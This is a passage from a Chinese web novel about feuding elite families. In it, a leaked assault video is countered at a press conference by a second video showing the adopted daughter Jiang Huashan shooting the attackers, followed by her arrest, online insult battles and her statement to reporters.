天还没亮,苏宅门口就被记者和抗议者围的水泄不通,苏莘出行时护送的保镖和记者发生了冲突,现场民意暴动差点把车都掀翻,逼的苏莘没辙只能退回苏宅。 抗议者打着解救苏妙的旗号要求苏家交出苏妙,新闻媒体更是将此次冲突蓄意渲染成霸权与民意的对抗,一时间苏家的公信力降到了谷底。 下午,鲸港最高检察院回应民意,声称已经开始介入,调查*****苏莘在职期间的作风问题,调查结果会在取证环节完成后向民众公示。 检察院隶属国务院,其下部门率先对直属领导开枪,苏莘这回可算是阴沟里翻了船。 茶室里,两父子对望,生死存亡之际,苏敬琉尤其淡定,“怎么样?沈家那边还是没有回复吗?” 苏莘摇头,“我们一直在给沈老那边递消息,但得到的回复都是沈老不方便接听。爸,如今检察院都出动了,想必傅家已经拉动了周家,沈老这个时候不表态应该是不打算掺和了。” 苏敬琉思忖片刻,眼中闪过一丝决绝,“我亲自打。” 时局之争,胜败乃兵家常事,苏家这次被人算计落了下乘,他无话可说。可事关两个孙女的名声未来,总要想办法替她们争条路。 苏莘有些犹豫,“爸,您这个时候打电话只怕沈家会狮子大开口。” 苏敬琉,“沈家看不上蝇头小利,沈庄为沈兰晞铺的路是通天大道,沈兰晞必走军政,你弟弟现如今掌握整个西海湾,想必这个筹码沈庄会心动了。” 苏莘闻言,立马拒绝,“不行,阿游为了苏家十年不曾归家,他现在是最年轻的五星上将,未来前途不可限量,不能……” “覆巢之下安有完卵?苏家门楣都要守不住了还有什么前途可言?姚家不就是最好的例子?”苏敬琉不容置喙,拿起桌上的英式电话,逐一拨弄数字。 苏莘无言以对,愧疚地抬不起头。 “苏爷爷。”电话接通,是一道很年轻的声音。 苏敬琉猜到是此次随沈庄出行的沈清予,他刻意放缓了语气,“你爷爷呢?” “爷爷宴会喝多了,现在正在休息。” 沈庄是什么身份,就是女王也不敢灌他的酒,怎么可能喝多? 苏敬琉心知这是推脱之词,索性开门见山,“告诉你爷爷,苏家愿意拿西海……” 话还没说完,年轻的声音极有礼貌打断他,“抱歉,苏爷爷,爷爷已经休息了,明天我会转告爷爷您的来电。” 这是拒绝了? 苏敬琉有些不敢相信,一言不发挂了电话。 “爷爷!”这时,苏妙推开书房的门闯了进来。 苏敬琉微有些错愣,很快恢复如常,“妙妙?” “爷爷,我可以澄清,我去医院……” “胡闹!”苏敬琉想也没想厉声阻止。 苏莘立马反应过来苏妙要做什么,起身拉过她的手,“爷爷和爸爸会想办法的,你先回去。” 苏妙固执看向苏敬琉,“我可以向大众解释,也可以当众验明正身,我不怕!” 事情哪怕发展到现在,苏敬琉还算应付自如,就算沈家拒绝帮助,他也提前想好了退路,可苏妙一句不怕让苏老爷子坚固的心防碎了一地。 苏敬琉幽幽轻叹了一声,“稚子无畏,好!可是你不怕,爷爷怕。” “妙妙,一旦你开始自证就会走进没有止境的怀疑中,你的尊严、名节会被全部公之于众没有任何隐私可言。” 苏妙,“我不怕,我知道不可走入自证的陷阱,但既然我选择了这条路,哪怕把自己剖干净,我会证明到底。” 苏敬琉闭眼,“不行!我说不行就是不行!” 苏妙垂眸,一声不吭退出了书房。 难道她就要这么坐以待毙吗?任由那些人利用她往苏家身上泼脏水? “嗡——” 就在这时,兜里的手机发出剧烈的震响。 苏妙下意识想到姜花衫,满心期待拿出手机,待看到是个陌生电话时眼里的光迅速暗了下去。 自从视频公布后,每天都有陌生电话打进来请求她接受采访。 采访? 一想到眼前的困境,苏妙心里莫名腾升起反抗之心,鬼使神差接通了电话。 电话里传来很温柔的声音,“你好,苏妙,我是沈眠枝。” 苏妙一愣,有些反应不及,“沈……沈眠枝?” “嗯。衫衫让我问你,准备好战斗了吗?” …… 第343章 更换主场 “哈哈哈哈哈哈!” 这三年傅家一直被沈家打压,主厅好久没有传出这么愉悦的笑声了。 “一个家族竟然要靠一个女娃娃自证清白保全,苏家的名誉算是彻底败完了。”傅嘉盛春光满面,笑得喜不自禁。 苏妙答应接受媒体拜访,这对傅家来说的确是个突如其来的好消息,但傅岭南还是有些疑惑。 “那丫头自己说的?” 傅嘉盛点头,“没错。她说如果不自证她这辈子就完了。小孩子嘛,年纪小没经事,遇上这种事不都以为天塌了?这可真是老天都在帮我们,明天的新闻发布会咱们必须帮她一把,让整个A国都知道。” 傅嘉明端起眼前的茶水,“恭喜大哥了,苏家下马,哥你这个警署总司长的位置也该升一升了。” 傅嘉盛回敬,“说起来这件事还多了阿明筹划,来,大哥以茶代酒。” 傅嘉明笑了笑,“客气了。” “你们俩可别高兴的太早了。”傅岭南转头看向傅嘉明,“沈家那边怎么说?” 傅嘉明,“沈园那边没什么动静,苏家现在墙倒众人推,沈谦重掌内阁正是挽回民心的时候,不会在这个时候出头。至于沈家那个老东西……那人传信说他回绝了国内的所有信件,看样子是不打算趟这趟浑水了。” 说起沈家,傅岭南脸上的笑意全无,“哼,沈庄那个老东西,沈园之辱总有一天我会要他加倍奉还。” 傅嘉明眼里泛过冷光,搭在膝盖上的手掌静静摸了摸被打瘸的腿。 * 第二天,检察院最高检察官高调现身苏家,十辆特警专车开道把苏莘接到了检察厅,直到下午苏莘都没有回来。 苏家上下齐聚在主厅。 “爷爷,爸爸会不会有事?” 苏灼坐立难安,他毕竟年轻,还没真正经历过事,眼前的动荡已经远远超出了他的能力范围之内。 苏敬琉拨弄着手里的琉璃珠,目光环顾一圈,眉头微蹙,“妙妙呢?” 众人一愣,这才反应过来家里少了个人。 苏母立马起身,“估计在房间里休息。” “老爷子!老爷子!大事不好了!”苏管家惊慌失措跑进主厅,“妙妙小姐她……她上电视了!” “啪——” 苏敬琉眼神失焦,手里的珠串散落一地。 “爷爷!”苏韵连忙上前扶着苏敬琉。 苏灼二话不说拿起茶几上的遥控器。 画面一亮,鲸港卫视右上角直播两个字格外打眼,苏妙穿着大红呢子外套端坐在镜头面前,镁光灯下,她像个误入成人丛林的小红帽。 “我今天请所有媒体过来,就是想向大家澄清一件事……” 此时的电视机前、荧幕前、手机前坐着不同阵营的人们。 傅家、关家、姚家、顾家、周家、乔家…… 他们都在嘲笑这个女孩儿的幼稚。 成人世界最大的陷阱就是会让孩子天真地以为大家在乎的是真相,可又有几个人会真正在意苏妙是否清白呢?他们在意的不过是真相背后与自己相关的利益。 俱乐部里,一群玩嗨的少爷小姐也被这一幕震惊了。 关鹤不敢相信揉了揉眼睛,“这丫头是疯了不成?” 乔金锦起身了一瓶天价香槟,与他们所有人不同,在他眼里,荧幕前的苏妙像极了勇敢无畏的战士。 癫鹅有了白天鹅的影子。 与此同时的鲸港,姜花衫抱着草莓汁盘坐在电视机前。 沈归灵和沈兰晞同时从房间出来,相互看了一眼,走进客厅。 “我和兰晞哥今晚都有事,莫然会过来陪你吃饭。” 姜花衫摆摆手,“哦。” 两人见她目不转睛盯着电视便也没有再多说,安静出了门。 * “苏小姐,请问苏家是否刻意虐待你?苏韵对你造成的人身伤害是否属实?” “苏小姐,发生这种事你为什么不报警?是不是有人在威胁恐吓你?” “苏小姐,出事当晚你曾被送至鲸和医院救治,是否说明视频里的内容真实存在?” 苏妙手心里蓄满了汗,聚光灯一直闪,她根本看不清谁是谁。 她尽力让自己保持镇定,“第一个问题:苏家没有虐待我,他们待我如至亲,他们是这个世界上最好的家人。” “第二个问题,没有人恐吓我,发生那件事之后我感受最多的不是威胁,而是鼓励。” “第三个问题,视频里的内容是真实的……” 此言一出,现场哗然。 苏妙眼神闪过坚定,语气铿锵有力,“但不是完整的。” “你们不是万人血书求完整版吗?”她眼含轻蔑,通过镜头与那些幕后幕后伥鬼对视,“今天我就成全你们。” 话落,苏妙身后落下一幅巨幕,刺耳的淫笑声骤然在整个会场响起。 苏妙站起身,仰头看着眼前屏幕,这是她第一次直视自己的灾难。 衣角被掀起的霎那…… “砰——” 会场响起一阵枪响,音效太好以至于有人误以为是发生了械斗,吓的抱头鼠窜,等反应过来才发现有个戴着粉色帽子的女生闯进了黑屋,她手里还拿着枪。 恶徒们惊慌避让,发现只是个小女生后,立马有恃无恐。 “别慌,她就一个人,咱们一起上。” “你们就八个人,我的枪有三十发子弹,谁先动我就打谁。” 女孩儿的声音很年轻,带着不屑一顾的轻慢,说完,不等恶徒反应就连开三枪打中了三人的腿。 “现在,你们只有五个人了。” “砰——” “四个。” “砰——” “三个。” 瞬间,黑屋里响起惨绝人寰的哀嚎声,女生一步步走向躺在地上的苏妙,恶徒则小心往后退。 “砰——” “两个。” 她蹲下身,取下粉色鸭舌帽戴在苏妙的头上,歪头看向血肉模糊的人渣们。 “不想死的就跪好。” 镜头前那张脸,乖张惊艳,歪头那嘲讽一笑更是绝杀。 * 镜头外,姜花衫满意摸了摸自己的脸,现在轮到她的主场了。 …… 第344章 谁在下棋? 哗然的新闻现场突然陷入诡异般的宁静,所有人屏住呼吸大气都不敢出。 但这份沉默并没有保持很久,几乎是同一时间,众人惊醒,如山体轰塌般爆发出剧烈震响。 敏锐的新闻媒体人开始兴奋,摄像扛着长枪短炮锁定屏幕,记者们争先恐后拿起手里的话筒。 现场所有人开始搜索信息调查持枪女孩儿的,交谈声、电话声、以及闪光灯的快门声交织在一起,险些要把新闻会场都掀翻了。 “苏小姐,请问你能保证视频的真实性吗?你和视频里的女生是什么关系?” 会场的枪声比过年的礼炮还响,视频里地上的血几乎染红了半个房间,可是虐杀没有结束,一枪接一枪,看的人胆颤心惊。 “查到了!” 有人惊呼,“姜花衫!沈氏家族养女姜花衫!” 新闻发布会的反转让所有人大跌眼镜。 银幕前等着看苏家落幕的推手们都沉默了,沈家这是以身入局了? “砰——” 水晶玻璃杯四分五裂,琥珀色的香槟晕成一滩水渍。 傅嘉盛犹不解气,一脚踹翻眼前的茶几,“两个老东西,竟然跟我玩这招。” 傅岭南皱眉,脸色愠怒,“看看你这沉不住气的样子,就凭你还想扳倒沈家?” “爸,咱们被耍了!苏家和沈家这是早就联盟了。”傅嘉盛不敢把气撒在傅岭南身上,转身质问傅嘉盛,“阿盛,你是不是该解释一下,为什么视频还有后半段?还偏偏落到了沈家手里?” 这件事傅嘉明也是刚刚想通的。 原本他让赵肆偷偷拍下证据是为了威胁控制苏韵,但没想到后来受害人变成了苏妙。 赵肆被抓后,他立马让人取走了小黑屋里的隐藏摄像机,当时他拿到手的只有前半段,他原以为是出了意外摄像被打断了才会如此,正巧前部分的内容已经足够他们兴风作浪,也就没有继续追查了。 现在看来,有人在他们之前已经提前布好局,这个人早就发现了小黑屋的视频,‘他’故意拿走了关键的后半段,留下假的鱼饵就是为了等他们上钩。 这场新闻发布会就是对方主场。 傅嘉明眼中闪过一丝暗芒,脑海中仿佛有个无形的身形正在与他隔棋对弈。 这个会是谁呢? 沈庄?不对!沈庄行事果决狠辣,如果真是他根本不需要这么麻烦。 苏敬琉?也不对?!如果是苏家,黑屋里的视频半点都不会泄露出来。 忽然,他想起之前利用男模追踪方眉行踪的神秘人,难道是她? “阿明?你说句话啊!” 傅嘉盛态度让傅嘉明十分不悦,他冷冷掸了掸膝盖的褶皱,“大哥这是在怪我?视频我拿到手里什么样子交给你就是什么样子?我怎么知道有人动了手脚?” 傅岭南见两兄弟有些不愉快立马出声制止,“行了!这个时候你们两个闹什么?现在关键是弄清楚他们到底在图谋什么?” “爸说的是。”傅嘉盛脸色缓和,“阿明我刚刚说话急,你别放在心上。” 傅嘉明淡淡笑了笑,转头看向傅岭南,“爸,您说他们有图谋,是不是看出什么了?” 傅岭南摇头,“沈家这局棋走的我是真捉摸不透。就算证明了苏妙的清白,但沈家却因此陷入了更大的泥潭,私藏枪支弹药,惨无人道虐杀凶徒,不管是哪一点都足以激起民意给沈家招祸。” 关于这点,傅嘉明和傅嘉盛也没有想通,但对方既然敢走这步棋必定有后手。 这棋厉害就厉害在猜不着后手。 “老爷子。”傅管家递上电话。 傅岭南看了一眼,脸色凝重,“瞧瞧,出了一点风吹草动,这些人就坐不住。” * 苏家。 电视直播已经结束,但主厅里依旧鸦雀无声。 苏灼回头看向苏韵,眼里满是复杂。 苏母脸色苍白,静静坐在沙发上一言不发。 苏韵低着头,不知在想什么? 苏敬琉蹲下身,一颗一颗捡起地上的翡翠。 他忽然想起,也是在这个主厅,姜花衫在电话里掷地有声,“我不是苏妙乱七八糟的朋友。” “老爷子!”苏管家难掩激动,跑的太急险些被自己绊倒,“沈老爷子的电话。” 苏敬琉闭眼,扶着茶几慢慢起身。 * 俱乐部。 前一秒还喊着苏妙疯了的关鹤,下一秒人都傻了。 “不是!姜花衫是疯了吗?她怎么敢这么玩?” 周宴珩眼色阴沉,这本该是独属他的盛宴,沈家到底在搞什么? 在场所有的男生都被姜花衫的狠辣吓得倒吸了一口凉气。 “幸好当初没惹她,这是绝对是反社会型人格障碍。” 反常的,在座女生没有一个回应。 直播虽然已经结束了,但有一种前所未有的澎湃还在她们心里激荡。 一个化着烟熏浓妆的女生转头问身边的同伴,“姜花衫会有事吗?” 男生没有多想,“那还用问,公然持枪,反人格虐杀,就算沈家本事通天也不能光明正大包庇啊。” * 沈园。 沈娇翘着二郎腿,摆弄着新做的美甲,“告诉他们,我愿意出两亿,只要他们判衫衫无罪,钱可以再加。不是说可以罚款抵罪吗?多少报个数,总之!到时候法庭上我不想听见一句对我女儿不利的话。” “什么包庇不包庇?现在跟我谈奉公廉洁?信不信我把你们之前收的油水全抖出来?” “……” 沈澈刚进菊园就听见沈娇在那口出狂言。 …… 第345章 姜花衫的底气 沈娇瞥见沈澈立马挂了电话,“哥,你怎么来了?” “出了这么大的事我能不来吗?姜花衫呢?” 沈娇,“在南湾。” 沈澈神情严肃,“视频是怎么回事?她怎么会有枪的?又怎么跟苏家扯上的关系?” “哎呀,你声音小点,吵的我脑瓜疼。” “……”沈澈被憋的一口气险些没提上来,“你知不知道这件事有多严重?苏家拿咱们沈家翻身,衫衫闹不好是要吃官司蹲监狱的。” 沈娇瞥了他一眼,“知道。所以我已经把全鲸港的金牌律师都召集齐了。” “你就是这么教育孩子的?慈母多败儿!”话音一落,沈谦和沈渊结伴走了进来。 沈娇眉梢一挑,“稀客啊,大哥和二哥怎么来了?冯妈?快给几位先生上茶。” 沈谦脸色阴沉,“这究竟是怎么回事?” 下午的新闻会一结束他办公室的电话就被打爆了,不是下边的人问站队就是官媒请求采访。 家里突然爆发核变,他却连个动静都不知道,这像话吗? 沈娇耸了耸肩,“我哪知道?大家不是同一时间看的直播?” 沈渊,“总警署那边已经证实视频为正常录制,现在人证物证都有了,检方以私藏枪支、危害公共安全、涉嫌恶意杀人几项重罪向法院提起诉讼,法院已经受理,鲸湾警署那边说不定已经出动了?你还有闲情逸致跟我们打马虎眼?” “我打什么马虎眼?”沈娇脸色凝重了不少,转头看向沈谦,“说起来南湾不是大哥的地方吗?还要麻烦大哥跟手下的人打声招呼,抓人就抓人,别吓着孩子了。” 沈谦没好气,“这个不用你说。” 早在来之前,沈谦就已经给南湾各部下了死命,护送姜花衫回鲸港的警力务必要是南湾警司。 沈家内部怎么斗那都是关起门来的事,对外姜花衫就是沈家的脸面,要是任由傅家的人为难姜花衫落的是沈家的面子,所以不管于公于私沈谦都不会坐视不理。 气氛剑拔弩张,沈澈无奈只好转过话题,“老爷子那边有消息吗?怎么说?” 沈谦和沈渊脸色不虞,尤其是沈渊,沈清予那个逆子,他连打三个电话都没联系上老爷子,准备打第四个的时候直接被拉进了黑名单。 沈娇,“我要能联系上老爷子,至于自己掏两亿出来吗?” 三人问不出话,憋着一肚子火出了菊园。 待人走后,冯妈把主院的门扣上,沈娇起身看向屏风,“都走了,出来吧。” 话落,屏风后走出一道曼妙的身影,沈眠枝抿嘴笑了笑,“姑姑。” 沈娇闭眼扶额,深呼了一口气,“你们真是……是吃了熊心豹子胆吗?” 沈眠枝上前扶着沈娇,“衫衫就是怕您担心,才让我来给您报个信。姑姑您放心吧,这事在爷爷那是过了明路的,我们没有乱来。” 沈娇没好气,“老爷子也是疯了,惯的她无法无天。” 沈眠枝笑了笑,帮着劝解,“若不是仗着有家中长辈爱护,衫衫也不敢这么冒进。尤其是小姑姑,衫衫可说了,就算她坐牢,姑姑也会想办法把监狱买下,她吃不了亏。” “少好话哄我。”沈娇横睨了沈眠枝一眼,“下午那场发布会是不是你帮着她搞出那么大阵仗的?” 傅家在现场一定有布局,若没有暗堂出手,最后的反转不会这么顺利。 这里面的博弈只是不在镜头前,但瞒不过沈娇的眼睛。 沈眠枝眼神飘了一下,“姑姑,您别告诉我爸。” “你啊!”沈娇点了点她脑门,“你当真以为你爸爸不知道?他要真不知情刚刚来菊园兴师问罪的就不是三个人了。说我慈母多败儿,我看你爸比我也不差。” 沈眠枝扑哧笑了出来。 沈娇还是有些担忧,“枝枝,你能不能给姑姑透个信,闹的这么大?衫衫到底是为了什么?就因为苏家那个丫头吗?” 沈眠枝回想起姜花衫的交待,恬静的脸上带着几分肃杀与凝重。 “姑姑,我现在不能告诉您为什么?我只能告诉您,我们在救人,不单单是救苏妙,而是要救更多的人。” * S国与A国的时差只有两个小时。 从下午三点,苏妙的澄清会结束后,整整五个小时里,沈庄一直在房里打电话。 除了与苏敬琉的通话花费了一点时间外,其余电话基本都控制在一分钟。 沈清予躺在院外的阮椅上,手机里不停重复播放着姜花衫开枪虐杀恶徒的视频,每次画面停格在歪头一笑,他的心跳都会不可控制加速,哪怕看了五个小时,没有一次逃过。 现在不止是老爷子,连他都想回家了。 正想着,手机突然跳出来电显示。 沈兰晞。 沈清予扫了一眼,慢悠悠坐起身,稀罕啊!这傻逼怎么给他打电话了? “喂?” 沈兰晞,“爷爷呢?” 沈清予往屋子看了一眼,懒洋洋,“老头子现在正忙着呢,没空搭理你。” 沈兰晞,“……” 沈清予,“沈兰晞,你行不行?不行就让那二傻逼去处理,他虽然阴险但没你那么多事。别每次一出事就找爷爷,你没断奶啊?这种事还TM需要问吗?小花儿要有什么事……” “嘟——” 沈兰晞挂了电话。 沈清予嗤了一声,思忖片刻拨通了顾家老太太的电话。 “婆婆,我挺好的,爷爷?爷爷在里面打电话呢。我没什么事,就想问问舅舅最近怎么样了?前段时间他说手头紧,我正好有闲钱匀了点给他,但是这也过了好长时间了……” “婆婆!你可千万好好跟舅舅说啊!” 顾丰赐是司法监督议员长,这个时候挨顿打应该能明白沈家的意思吧? * 南湾。 夜幕与海岸连成一线,船灯如人间星火洒进漂泊的海面。 沈兰晞挂了电话,目送沈归灵离去的背影。 沈归灵回到家时,客厅昏暗空无一人, 他转身往卧室走去,过道中间的房门下透着亮光。 沈归灵脚步顿住,在黑暗里站了一会儿后慢慢走近卧房。 他举手准备敲门,忽然想到什么,手在半空又收了回来。 沈归灵眼睑挑开,黑暗里的目光像落进点点星灯的海面。 思忖片刻,他转头进了自己的卧室。 房门的另一端,姜花衫正抵着门板,在听见隔壁房传来落锁声才缓缓吐了一口气。 这两天沈兰晞和沈归灵不知道搞什么鬼,总是一起早出晚归,也多亏了这两人没空搭理她,才让她弄出这么一出大戏。 沈兰晞不好说,但沈归灵知道她不少事,一定猜到了视频被爆与她有关。 他现在什么都不问,大概率是准备装聋作哑了。 姜花衫返身跳进被窝,安详地闭上眼。 睡个好觉,明天起来战斗。 …… 第346章 放飞自我 秩序退散,混沌降临。 无尽的夜幕里,闪着绿色荧光的剧目之门如垂天巨幕。 姜花衫双腿盘坐,两手托腮与剧目之门对望,“你叫我?” 缠绕在书壳的绿色藤蔓慢慢舒展,像海底招展的水草一点点向她游来,一片片青葱嫩绿的叶子慢慢冒出尖儿,如同一个个不谙世事的孩子在向她招手。 姜花衫满是不耐,一把拍下距离最近的藤蔓,语气凉凉,“别跟我套近乎,每次都是走你的剧情,我都腻了。” 突然,夜幕闪过一道绿光,书页疯狂翻动,越来越多的藤蔓开始游向姜花衫,它们从四面八方开始缠绕…… 虚无里,剧目之下,姜花衫的四肢、脖子都缠满了藤蔓,像极了被荆棘丛林操控的漂亮玩偶。 【叮——】 姜花衫慢慢睁开眼,涣散的眼神失焦了许久才慢慢凝聚。 回来了。 她缓了一会儿从被窝里爬了起来,一把拉开卧房的窗帘。天亮了,但天色依旧是灰蒙蒙的,海港的船灯亮了一夜。 姜花衫伸了个懒腰,打开衣橱,披了件黑色毛绒腻子外套,撩起刘海带上粉色鸭舌帽,深吸一口气推开卧室房门。 外面很安静。 “怎么回事?看来鲸港警署司的办事效率也不行啊。” 姜花衫小声碎碎念,刚走出过道,轻快的脚步忽然变的沉重。 客厅里乌泱泱坐满了人,甚至有极个别不知身份的连坐的地方都没有。 沈兰晞和沈归灵一左一右坐在客厅两侧的沙发上,见她出来,沈归灵眉眼温和,“休息好了?” 姜花衫有点懵,点了点头。 沈兰晞,“坐。” 偌大的横厅,五米长的黑皮沙发空无一人,姜花衫默默坐在2.5米的中心位。 她方一坐下,对面一群人立马站起身,其中一名带着眼镜的中年男子率先自我介绍,“姜小姐好,我是金港律师事务所的律师,敝姓陈。受沈女士委托,现在是您的辩护律师。” 姜花衫点头,目光扫过眼前一群西装男团,“那他们?” 陈律,“我们现在是一个团队,我是您的主要辩护人。” 这么强大的智囊团?沈娇这是把全鲸港的金牌律师都召集了? 姜花衫忽然觉得安全感爆棚。 沈兰晞抬头看了高止一眼,高止会意转身入玄关开门。 没一会儿,两个身穿鲸港总警署工服的男人走进客厅。 男人眼神忌惮看向两侧少年,语气恭敬,“两位少爷,姜小姐涉嫌私藏军火、虐杀无辜,现依相关法案需要将人收押配合调查,这是拘捕令。” 沈兰晞没有接。 沈归灵面带微笑,“司法局有规定,逮捕令优先行使单位是嫌疑人当时所在地的警署局,你们这是要抢南湾友局的饭碗?” “人要抢我们南湾警署的饭碗啊?” 话音刚落,马温带着南湾警署司的下属杀入重围。 沈归灵职位低,大庭广众之下马温不好表忠心,转头架势十足,“我司已经收到了总警司拘捕令,嫌疑人由我们南湾警署亲自送往鲸港,就不劳两位兄弟费心了。” 都道强龙不压地头蛇,更别说了这屋里还有比地头蛇还强悍的存在。 鲸港警署司的警员勉强笑了笑,将手里的逮捕令转交给马温,“那就辛苦马局长了。”说罢灰溜溜退出了客厅。 待人走后,马温立马小跑到沈归灵跟前,点头哈腰,“阿灵少爷您放心,我亲自护送姜小姐上鲸港,绝不会让小姐受半点委屈。” 沈归灵看了姜花衫一眼,点头,“那就劳烦马局长了。” “您客气了。”马温受宠若惊,殷勤看向‘一脸懵懂’的姜花衫,“姜小姐,检察院要求下午三点之前必须收押,您看?” 姜花衫站起身,“那还等什么?走吧。” 陈律师掏出律师证,“我要求与我当事人同行。” 马温回头看了沈归灵一眼,正色点头,“合乎情理。” * 从姜花衫出门坐上警车开始,蜂涌如潮的记者开始了围堵势追踪,回港路上,两个小时的直播在线观看人数达到了千万。 【杀人凶手回港了!】 【万恶的资本家,小小年纪心肠如此歹毒,一想到A国的未来掌控在这种草菅人命的财团手里就觉得人生毫无意义。】 【她竟然还带着那顶作案时的鸭舌帽,简直死不悔改。】 网上骂声一片,突然,密不透风的警车落下一扇车窗,一张漂亮地不像话的脸直接怼到了镜头面前。 “一群只会用键盘输出的早泄男,有本事来法院跟我对线,我用手里的格洛克跟你们打赌,你们这些只敢躲在背后蛐蛐我的蛆虫们,现实中生活硬不过三秒。” 说完,直接对着镜头竖起两根中指。 没等众人反应过来,一个儒雅的中年男人手忙脚乱把人抓进了车里,随即对着镜头露出一个尴尬而不失礼貌的微笑。 “……每个A国公民都享有言论自由的权力。” 【哈哈哈哈哈哈哈!!!!!大小姐威武!】 【天!她好漂亮,鲸港官媒的死亡镜头她扛住了,连后脑勺都那么完美!】 【配图:姜花衫被拖走的虚影截图】 【藐视法纪,不提倡这种个人英雄主义,她会给A国年轻一代带来恶劣糟糕的影响。】 【那怎么了?起码她很勇敢。之前那些财阀的少爷小姐谁不是犯了事就躲去国外?她逃了吗?】 …… 直播间的网友们炸开了锅,那些被姜花衫指名的键盘侠恼羞成怒,直接在网上刷屏,骂的要多难听就有多难听。 姜花衫完全不在意,翘着二郎腿刷屏。 陈律师从口袋掏出丝巾擦了擦额头的冷汗,“姜小姐,外面的言论您一律不需要理会,开庭的时候您也不需要紧张,保持沉默,之后的事都交给我们。” “啊?”姜花衫抬眸,眼神清澈,举起手机,“你说晚了。” “……”陈律师眼皮跳了跳,扶着眼镜定睛一看。 就在刚刚,姜花衫化身钢炮小喷子,对每个出言不逊的网友进行无差别的人身攻击。 【简直不敢相信,竟然还有人帮杀人凶手说话,三观碎裂。】 【回复:蛆虫一号,好奇到蛋碎。】 【那个视频我只看过一次,就再没有勇气点开第二次,我实在不敢相信,他们都已经完全失去了行为能力,为什么还要如此残忍?】 【回复:没有勇气点开是已经代入了强奸犯人,怕自己以后再也硬不起来吗?疑惑?】 …… 【一个享尽A国顶级教育资源的千金小姐竟然出口成脏,动不动就用生殖器官骂人,可见内心有多淫荡下贱。】 【回复:一百八十八号蛆虫前来求药!医答:无根不治。】 “……”陈律师只觉眼前一黑,她怎么一下就怼了上百人? 忽然又眼前一亮。 【说她勇敢的我真是被你们笑死了,动动脑子,那可是沈氏家族的孩子,我们国家宪法都是先送到沈园再送去国会!你知道沈家一句话可以调动多少法院资源吗?截至今天为止,鲸港城排得上号的金牌律师都已经在为大小姐写无罪辩护了,最可怕的事,她还不足十八岁,大小姐回港不过就是逗你们这些平民玩的。】 【回复:没错,检察院我家开的,法院我家赞助的,律师团我家买下了,但对付蛆虫们老子一个人就够了!】 陈律师已经汗流浃背。 …… 第347章 我的正义 短短两个小时,姜花衫凭一己之力将枪支虐杀案的热度推到了顶峰。 被骂蛆虫的键盘侠气的捶胸顿足,直接朝南湾警署开喷,质疑南湾执法的公正性。 【为什么杀人犯还可以上网?谁给她的权力??】 南湾警署也不惯着他们,官网强势回应。 -【严格依法办案,质疑举证,诬告必究!】 键盘蛆虫没见过气量这么小的政府机关,投鼠忌器又开始炮轰姜花衫。 但很快键盘蛆虫们就懵了,因为姜花衫的回复不仅越来越快,还也越来越毒。 怎么做到的?她难不成会影子分身术? * 鲸和医院。 尊贵病房内,傅绥尔穿着宽大的病号服,哪怕头顶还挂着吊瓶,手上动作也没有一丝停滞。 “来啊,我昨晚可是特意恶补了黄色器官交流大法,现在强的可怕!” 傅绥尔开启疯狂反喷模式,只要谁敢说姜花衫一句不好,她立马化身沾屎长矛,力求公平公正恶心每一只蛆虫。 越骂越上头,正起劲忽然就没蛆虫可喷了。 “咦?” 怎么回事? 傅绥尔一头雾水,点开历史评论才发现,不知什么时候,评论区里涌现了一群‘姜花衫’,她们个个都是沾屎长茅,以生殖器为中心,以性无能为半径,以反讽调戏为主调开启了绝地反击。 问:骂的有多脏?看一眼眼球会发炎的程度。 【果然,资本的力量真是叫人大开眼界,沈家的水军这么快就杀过来了。 】 【哈哈哈,要不是我一分钱没拿差点就信了。】 【不好意思啊,姐们不是要替资本说话,就是单纯想来网上发疯。】 【这么巧?我也是啊!骂完觉得好畅快啊,怪不得有人喜欢当键盘蛆虫。】 【不好意思,本人不是资本,就是单纯不喜欢有人可怜强奸犯。】 【我们不是姜花衫,但我们谁又不是姜花衫呢?】 短短一分钟就有不下于五千条评论为自己的行为发声。大家这才发现,原来沾屎长矛们是可以好好说话的。 这场文字战役无声无息却又空前盛大。 * 南湾警署的警车没还驶入总署局就被外面的记者拦了下来。 因为案情特殊,A国民众高度重视,再加上姜花衫一再挑衅,这件事的热点已经超过了A国当局有史来的所有新闻事件。 “姜小姐,对于这次造成的不良影响你有什么想和大家说的吗?” “姜小姐,请你出来做个简单的回应。” 警车被围堵地水泄不通,连马温都不得不亲自下车维持现场秩序。双方足足僵持了十分钟,但鲸港警司迟迟没有警力出来维持秩序,显然是有意为之。 陈律师隔着窗户看了看外面的情况,“姜小姐,您不用担心,过会儿……” 话没说完,就听见耳边传来‘哗’的一声门响,还没等她反应,姜花衫就从车上跳了下去。 “?” “!” 马温也傻了,赶紧联合下属围成人墙把姜花衫护在中间。 记者们愣了愣,随之亢奋起来,争先恐后拿着话筒向姜花衫提问。 “姜小姐,视频里持枪女生是你本人吗?” 陈律师赶紧跳下车,“我当事人拒绝回答任何……” 姜花衫直接从记者手里抢过话筒,“对,是我本人。” 陈律师傻了,一脸绝望看向姜花衫,天崩开局,这官司还怎么打? 摄像们纷纷按下快门记录这匪夷所思奇幻时刻。 能争取到蹲点总警司资源的记者都不是职场新人了,他们大多数人甚至连国家元首都采访过。 哪怕如姚俊那样级别的领导人,在面对可能会颠覆人生的指控时都是选择避让,这个女孩儿却无比坦率,也不知道是心性如此,还是初生牛犊不怕虎? “姜小姐你还未满十六周岁,是否打算以未成年保护条款为自己做辩护?” “姜小姐,你是否想过,在铁证如山的事实面前,若你还能钻取司法漏洞,这将对A国民众造成多大的打击?” “姜小姐,抛开司法程序不论,你是否觉得自己有罪?是否忏悔过自己的所作所为。” “……” 记者追逐的是真相和热点,所以即使他们承认姜花衫的勇气也并没有手下留情,一个一个尖酸刻薄的问题相继被抛出。 镜头前,那张鲜活娇艳的俏脸特别年轻,她盯着镜头,眸底黑白分明。 镜头外。 无数人看着她。 权谋者、爱慕者、亲人、朋友、陌生人以及厌恶她的人。 她很平静,“我的确庆幸自己只有十六岁,因为这就更加印证,那些人就该下地狱。” 记者们愣住了。 姜花衫将手里的话筒反向推到大众面前,“同样是未成年,有人恨我能以此为伞,有人怜我还没长大就要遭此劫难,喜恶同因,所以有问题的不是我今年几岁?而是站在我面前的你们,到底共情了谁的灾难?” 记者们哑然,一时不知该怎么回答。 猜到不会有答案,姜花衫拿回话筒,继续道:“我先回答第三个问题,我并不认为我有罪,所以接下来的开庭答辩我将拒绝家族提供的所有帮助,自行辩护。” “最后回答第二个问题,事实并非正义,所以我个人认为,如果我能取得最后的胜利,恰恰说明司法在进步。” “现在,请你们让开一条路,我要去迎接我的正义了。” …… 第348章 我相信你在救人 “咔擦——” 快门闪落。 庄严肃穆的警徽之下,警员们围成高大的人墙护送少女进楼。 